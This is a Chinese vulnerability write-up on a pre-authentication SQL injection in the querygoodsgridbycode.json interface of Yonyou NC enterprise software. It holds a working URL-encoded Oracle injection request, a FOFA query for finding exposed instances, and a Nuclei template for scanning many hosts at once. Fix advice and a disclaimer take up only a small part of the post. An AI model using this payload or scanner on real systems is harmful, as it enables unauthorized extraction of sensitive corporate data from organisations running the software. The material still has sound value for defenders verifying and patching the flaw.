【漏洞复现】用友NC querygoodsgridbycode 前台SQL注入漏洞

0x00 漏洞描述

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术，旨在帮助企业创新管理模式、引领商业变革。用友NC 的querygoodsgridbycode.json接口存在SQL注入漏洞，攻击者能够利用该漏洞获取敏感数据。

0x01 测绘工具

fofa: app=“用友-UFIDA-NC”

0x02 漏洞复现

GET /ecp/productonsale/querygoodsgridbycode.json?code=1%27%29+AND+9976%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28116%29%7C%7CCHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28116%29%7C%7CCHR%2849%29%7C%7C%28SELECT+%28CASE+WHEN+%289976%3D9976%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%2850%29%7C%7CCHR%28116%29%7C%7CCHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28116%29%29--+dpxi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

0x03 Nuclei检测脚本

id: yongyou-querygoodsgridbycode-SQL

info:
  name: 用友NC系统querygoodsgridbycode接口的code参数存在SQL注入漏洞
  author: admin
  severity: high
  metadata:
    fofa-query: app="用友-UFIDA-NC"

http: 
  - raw:
      - |
        GET /ecp/productonsale/querygoodsgridbycode.json?code=1%27%29+AND+9976%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28116%29%7C%7CCHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28116%29%7C%7CCHR%2849%29%7C%7C%28SELECT+%28CASE+WHEN+%289976%3D9976%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%2850%29%7C%7CCHR%28116%29%7C%7CCHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28116%29%29--+dpxi HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Upgrade-Insecure-Requests: 1
        Pragma: no-cache
        Accept-Language: zh-CN,zh;q=0.9
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Cache-Control: no-cache

    matchers-condition: and
    matchers:
      - type: word
        words:
              - "test112test"

0x04 修复建议

使用防护类设备进行防护， 限制访问/ecp/productonsale/querygoodsgridbycode.json 路径，拦截请求中出现的恶意SQL 语句
如非必要，避免将资产暴露在互联网

0x05 免责声明

本文所涉及的任何技术、信息或工具，仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。